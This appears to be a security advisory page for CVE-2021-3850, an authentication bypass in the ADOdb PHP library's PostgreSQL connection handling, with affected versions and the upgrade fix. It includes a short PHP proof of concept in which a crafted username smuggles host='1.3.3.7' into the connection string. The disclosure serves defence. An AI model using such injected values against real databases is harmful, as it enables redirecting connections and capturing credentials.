Authentication Bypass by Primary Weakness Affecting adodb/adodb-php package, versions <5.20.21 >=5.21.0, <5.21.4
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.44% (75th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-ADODBADODBPHP-2361259
- published 25 Jan 2022
- disclosed 25 Jan 2022
- credit Emmet Leahy of Sorcery Ltd
Introduced: 25 Jan 2022
CVE-2021-3850 Open this link in a new tabHow to fix?
Upgrade adodb/adodb-php
to version 5.20.21, 5.21.4 or higher.
Overview
Affected versions of this package are vulnerable to Authentication Bypass by Primary Weakness by bypassing adodb_addslashes()
, allowing a malicious actor to inject values into the PostgreSQL connection string.
PoC
<?php
include 'adodb.inc.php';
$db = ADONewConnection('pgsql');
$host_good = 'localhost';
$user_good = 'user';
$password = 'xxxx';
$database = 'dbname';
$user_evil = "'user' host='1.3.3.7'";
$db->connect($host_good, $user_good, $password, $database); // success
$db->connect($host_good, $user_evil, $password, $database); // !!!
?>
References
CVSS Scores
version 3.1